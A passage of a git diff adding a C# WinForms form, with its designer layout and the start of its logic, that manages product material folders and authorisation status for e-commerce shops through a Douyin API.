AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.Designer.cs new file mode 100644 index 0000000..d17b125 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.Designer.cs @@ -0,0 +1,519 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class MaterialManageForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.dtEndTime = new DevComponents.Editors.DateTimeAdv.DateTimeInput(); + this.dtBaginTime = new DevComponents.Editors.DateTimeAdv.DateTimeInput(); + this.labelX47 = new DevComponents.DotNetBar.LabelX(); + this.label4 = new System.Windows.Forms.Label(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.btnStop = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnGetProductCount = new LittleRabbit.UserControls.ButtonEx(); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dtEndTime)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dtBaginTime)).BeginInit(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.btnClear); + this.splitContainer1.Panel1.Controls.Add(this.btnStop); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Paint += new System.Windows.Forms.PaintEventHandler(this.splitContainer1_Panel1_Paint); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1091, 623); + this.splitContainer1.SplitterDistance = 120; + this.splitContainer1.TabIndex = 5; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.dtEndTime); + this.ucGroupBoxEx3.Controls.Add(this.dtBaginTime); + this.ucGroupBoxEx3.Controls.Add(this.labelX47); + this.ucGroupBoxEx3.Controls.Add(this.label4); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(329, 120); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "操作选项"; + // + // dtEndTime + // + // + // + // + this.dtEndTime.BackgroundStyle.Class = "DateTimeInputBackground"; + this.dtEndTime.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.ButtonDropDown.Shortcut = DevComponents.DotNetBar.eShortcut.AltDown; + this.dtEndTime.ButtonDropDown.Visible = true; + this.dtEndTime.IsPopupCalendarOpen = false; + this.dtEndTime.Location = new System.Drawing.Point(197, 32); + // + // + // + // + // + // + this.dtEndTime.MonthCalendar.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.CalendarDimensions = new System.Drawing.Size(1, 1); + this.dtEndTime.MonthCalendar.ClearButtonVisible = true; + // + // + // + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground2; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColorGradientAngle = 90; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTopColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarDockedBorder; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTopWidth = 1; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.DisplayMonth = new System.DateTime(2019, 3, 1, 0, 0, 0, 0); + // + // + // + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColorGradientAngle = 90; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.TodayButtonVisible = true; + this.dtEndTime.Name = "dtEndTime"; + this.dtEndTime.Size = new System.Drawing.Size(105, 23); + this.dtEndTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.dtEndTime.TabIndex = 71; + // + // dtBaginTime + // + // + // + // + this.dtBaginTime.BackgroundStyle.Class = "DateTimeInputBackground"; + this.dtBaginTime.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.ButtonDropDown.Shortcut = DevComponents.DotNetBar.eShortcut.AltDown; + this.dtBaginTime.ButtonDropDown.Visible = true; + this.dtBaginTime.IsPopupCalendarOpen = false; + this.dtBaginTime.Location = new System.Drawing.Point(82, 32); + // + // + // + // + // + // + this.dtBaginTime.MonthCalendar.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.CalendarDimensions = new System.Drawing.Size(1, 1); + this.dtBaginTime.MonthCalendar.ClearButtonVisible = true; + // + // + // + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground2; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColorGradientAngle = 90; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTopColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarDockedBorder; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTopWidth = 1; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.DisplayMonth = new System.DateTime(2019, 3, 1, 0, 0, 0, 0); + // + // + // + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColorGradientAngle = 90; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.TodayButtonVisible = true; + this.dtBaginTime.Name = "dtBaginTime"; + this.dtBaginTime.Size = new System.Drawing.Size(105, 23); + this.dtBaginTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.dtBaginTime.TabIndex = 70; + // + // labelX47 + // + // + // + // + this.labelX47.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX47.Location = new System.Drawing.Point(27, 32); + this.labelX47.Name = "labelX47"; + this.labelX47.Size = new System.Drawing.Size(56, 23); + this.labelX47.TabIndex = 72; + this.labelX47.Text = "起止时间"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(186, 35); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(13, 17); + this.label4.TabIndex = 73; + this.label4.Text = "-"; + // + // btnClear + // + this.btnClear.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(929, 12); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(72, 23); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.TabIndex = 409; + this.btnClear.Text = "清理素材"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStop.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStop.Location = new System.Drawing.Point(1007, 12); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(72, 23); + this.btnStop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStop.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStop.Style.GradientAngle = 90; + this.btnStop.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStop.TabIndex = 405; + this.btnStop.Text = "停止操作"; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnGetProductCount); + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 120); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnGetProductCount + // + this.btnGetProductCount.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProductCount.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProductCount.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetProductCount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProductCount.ForeColor = System.Drawing.Color.White; + this.btnGetProductCount.Location = new System.Drawing.Point(16, 69); + this.btnGetProductCount.Margin = new System.Windows.Forms.Padding(2); + this.btnGetProductCount.Name = "btnGetProductCount"; + this.btnGetProductCount.Size = new System.Drawing.Size(112, 26); + this.btnGetProductCount.TabIndex = 376; + this.btnGetProductCount.Text = "获取素材文件夹"; + this.btnGetProductCount.UseVisualStyleBackColor = false; + this.btnGetProductCount.Visible = false; + this.btnGetProductCount.Click += new System.EventHandler(this.btnGetProductCount_Click); + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1091, 499); + this.splitContainer3.SplitterDistance = 469; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Panel2Collapsed = true; + this.splitContainer2.Size = new System.Drawing.Size(1091, 469); + this.splitContainer2.SplitterDistance = 336; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 42; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(1083, 469); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 40; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 520; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + this.splitContainer4.Size = new System.Drawing.Size(1091, 26); + this.splitContainer4.SplitterDistance = 684; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(684, 26); + this.statusBar.TabIndex = 2; + // + // MaterialManageForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1091, 623); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "MaterialManageForm"; + this.Text = "素材管理"; + this.Load += new System.EventHandler(this.MaterialManageForm_Load); + this.VisibleChanged += new System.EventHandler(this.MaterialManageForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dtEndTime)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dtBaginTime)).EndInit(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.splitContainer4.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private DevComponents.DotNetBar.PanelEx btnClear; + private DevComponents.DotNetBar.PanelEx btnStop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private UserControls.ButtonEx btnGetProductCount; + private DevComponents.Editors.DateTimeAdv.DateTimeInput dtEndTime; + private DevComponents.Editors.DateTimeAdv.DateTimeInput dtBaginTime; + private DevComponents.DotNetBar.LabelX labelX47; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.cs b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.cs new file mode 100644 index 0000000..3801846 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.cs @@ -0,0 +1,370 @@ +using AllBase.Helper; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Upload; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class MaterialManageForm : Form + { + private CheckBox chkSelectAll = null; + CancellationTokenSource cancellationTokenSource = null; + + public MaterialManageForm() + { + InitializeComponent(); + } + + private void MaterialManageForm_Load(object sender, EventArgs e) + { + chkSelectAll = this.dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false, null, true); + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + dtEndTime.Value = DateTime.Now.Date.AddDays(-8); + dtBaginTime.Value = DateTime.Now.Date.AddYears(-1); + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功").Select(ss => ss.ShopAccountId); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + public void LoadShops() + { + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row == null) + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, 